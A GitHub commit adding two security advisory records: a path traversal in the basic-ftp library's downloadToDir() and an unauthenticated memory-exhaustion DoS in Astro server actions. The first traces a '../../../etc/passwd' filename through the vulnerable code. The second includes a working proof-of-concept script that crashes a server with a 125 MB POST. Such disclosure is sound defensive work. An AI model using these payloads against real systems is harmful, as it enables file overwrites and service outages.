Skip to content

Commit 5d7e05d

Browse files
1 parent 9628123 commit 5d7e05d

2 files changed

Lines changed: 142 additions & 0 deletions

File tree

Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-5rq4-664w-9x2c",
4+
"modified": "2026-02-25T22:34:26Z",
5+
"published": "2026-02-25T22:34:26Z",
6+
"aliases": [
7+
"CVE-2026-27699"
8+
],
9+
"summary": "Basic FTP has Path Traversal Vulnerability in its downloadToDir() method",
10+
"details": "The `basic-ftp` library contains a path traversal vulnerability in the `downloadToDir()` method. A malicious FTP server can send directory listings with filenames containing path traversal sequences (`../`) that cause files to be written outside the intended download directory.\n\n\n## Source-to-Sink Flow\n\n```\n1. SOURCE: FTP server sends LIST response\n└─> \"-rw-r--r-- 1 user group 1024 Jan 20 12:00 ../../../etc/passwd\"\n\n2. PARSER: parseListUnix.ts:100 extracts filename\n└─> file.name = \"../../../etc/passwd\"\n\n3. VALIDATION: parseListUnix.ts:101 checks\n└─> if (name === \".\" || name === \"..\") ❌ (only filters exact matches)\n└─> \"../../../etc/passwd\" !== \".\" && !== \"..\" ✅ PASSES\n\n4. SINK: Client.ts:707 uses filename directly\n└─> const localPath = join(localDirPath, file.name)\n└─> join(\"/safe/download\", \"../../../etc/passwd\")\n└─> Result: \"/safe/download/../../../etc/passwd\" → resolves to \"/etc/passwd\"\n\n5. FILE WRITE: Client.ts:512 opens file\n└─> fsOpen(localPath, \"w\") → writes to /etc/passwd (outside intended directory)\n```\n\n## Vulnerable Code\n\n**File**: `src/Client.ts:707`\n\n```typescript\nprotected async _downloadFromWorkingDir(localDirPath: string): Promise<void> {\nawait ensureLocalDirectory(localDirPath)\nfor (const file of await this.list()) {\nconst localPath = join(localDirPath, file.name) // ⚠️ VULNERABLE\n// file.name comes from untrusted FTP server, no sanitization\nawait this.downloadTo(localPath, file.name)\n}\n}\n```\n\n**Root Cause**:\n- Parser validation (`parseListUnix.ts:101`) only filters exact `.` or `..` entries\n- No sanitization of `../` sequences in filenames\n- `path.join()` doesn't prevent traversal, `fs.open()` resolves paths\n\n\n# Impact\n\nA malicious FTP server can:\n- Write files to arbitrary locations on the client filesystem\n- Overwrite critical system files (if user has write access)\n- Potentially achieve remote code execution\n\n## Affected Versions\n\n- **Tested**: v5.1.0\n- **Likely**: All versions (code pattern exists since initial implementation)\n\n## Mitigation\n\n**Workaround**: Do not use `downloadToDir()` with untrusted FTP servers.\n\n**Fix**: Sanitize filenames before use:\n\n```typescript\nimport { basename } from 'path'\n\n// In _downloadFromWorkingDir:\nconst sanitizedName = basename(file.name) // Strip path components\nconst localPath = join(localDirPath, sanitizedName)\n```",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "basic-ftp"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "5.2.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-5rq4-664w-9x2c"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27699"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/patrickjuchli/basic-ftp/commit/2a2a0e6514357b9eda07c2f8afbd3f04727a7cd9"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/patrickjuchli/basic-ftp"
54+
},
55+
{
56+
"type": "WEB",
57+
"url": "https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.0"
58+
}
59+
],
60+
"database_specific": {
61+
"cwe_ids": [
62+
"CWE-22"
63+
],
64+
"severity": "CRITICAL",
65+
"github_reviewed": true,
66+
"github_reviewed_at": "2026-02-25T22:34:26Z",
67+
"nvd_published_at": "2026-02-25T15:20:53Z"
68+
}
69+
}
Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-jm64-8m5q-4qh8",
4+
"modified": "2026-02-25T22:33:14Z",
5+
"published": "2026-02-25T22:33:13Z",
6+
"aliases": [
7+
"CVE-2026-27729"
8+
],
9+
"summary": "Astro has memory exhaustion DoS due to missing request body size limit in Server Actions",
10+
"details": "## Summary\n\nAstro server actions have no default request body size limit, which can lead to memory exhaustion DoS. A single large POST to a valid action endpoint can crash the server process on memory-constrained deployments.\n\n## Details\n\nOn-demand rendered sites built with Astro can define server actions, which automatically parse incoming request bodies (JSON or FormData). The body is buffered entirely into memory with no size limit — a single oversized request is sufficient to exhaust the process heap and crash the server.\n\nAstro's Node adapter (`mode: 'standalone'`) creates an HTTP server with no body size protection. In containerized environments, the crashed process is automatically restarted, and repeated requests cause a persistent crash-restart loop.\n\nAction names are discoverable from HTML form attributes on any public page, so no authentication is required.\n\n## PoC\n\n<details>\n\n### Setup\n\nCreate a new Astro project with the following files:\n\n`package.json`:\n```json\n{\n \"name\": \"poc-dos\",\n \"private\": true,\n \"scripts\": {\n \"build\": \"astro build\",\n \"start:128mb\": \"node --max-old-space-size=128 dist/server/entry.mjs\"\n },\n \"dependencies\": {\n \"astro\": \"5.17.2\",\n \"@astrojs/node\": \"9.5.3\"\n }\n}\n```\n\n`astro.config.mjs`:\n```javascript\nimport { defineConfig } from 'astro/config';\nimport node from '@astrojs/node';\n\nexport default defineConfig({\n output: 'server',\n adapter: node({ mode: 'standalone' }),\n});\n```\n\n`src/actions/index.ts`:\n```typescript\nimport { defineAction } from 'astro:actions';\nimport { z } from 'astro:schema';\n\nexport const server = {\n echo: defineAction({\n input: z.object({ data: z.string() }),\n handler: async (input) => ({ received: input.data.length }),\n }),\n};\n```\n\n`src/pages/index.astro`:\n```astro\n---\n---\n<html><body><p>Server running</p></body></html>\n```\n\n`crash-test.mjs`:\n```javascript\nconst payload = JSON.stringify({ data: 'A'.repeat(125 * 1024 * 1024) });\n\nconsole.log('Sending 125 MB payload...');\ntry {\n const res = await fetch('http://localhost:4321/_actions/echo', {\n method: 'POST',\n headers: { 'Content-Type': 'application/json', 'Accept': 'application/json' },\n body: payload,\n });\n console.log('Status:', res.status);\n} catch (e) {\n console.log('Server crashed:', e.message);\n}\n```\n\n### Reproduction\n\n```bash\nnpm install && npm run build\n\n# Terminal 1: Start server with 128 MB memory limit\nnpm run start:128mb\n\n# Terminal 2: Send 125 MB payload\nnode crash-test.mjs\n```\n\nThe server process crashes with `FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`. The payload is buffered entirely into memory before any validation, exceeding the 128 MB heap limit.\n\n</details>\n\n## Impact\n\nAllows unauthenticated denial of service against SSR standalone deployments using server actions. A single oversized request crashes the server process, and repeated requests cause a persistent crash-restart loop in containerized environments.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "@astrojs/node"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "9.0.0"
29+
},
30+
{
31+
"fixed": "9.5.4"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/withastro/astro/security/advisories/GHSA-jm64-8m5q-4qh8"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27729"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/withastro/astro/pull/15564"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/withastro/astro/commit/522f880b07a4ea7d69a19b5507fb53a5ed6c87f8"
54+
},
55+
{
56+
"type": "PACKAGE",
57+
"url": "https://github.com/withastro/astro"
58+
},
59+
{
60+
"type": "WEB",
61+
"url": "https://github.com/withastro/astro/releases/tag/@astrojs/node@9.5.4"
62+
}
63+
],
64+
"database_specific": {
65+
"cwe_ids": [
66+
"CWE-770"
67+
],
68+
"severity": "MODERATE",
69+
"github_reviewed": true,
70+
"github_reviewed_at": "2026-02-25T22:33:13Z",
71+
"nvd_published_at": "2026-02-24T01:16:15Z"
72+
}
73+
}

0 commit comments

Comments
 (0)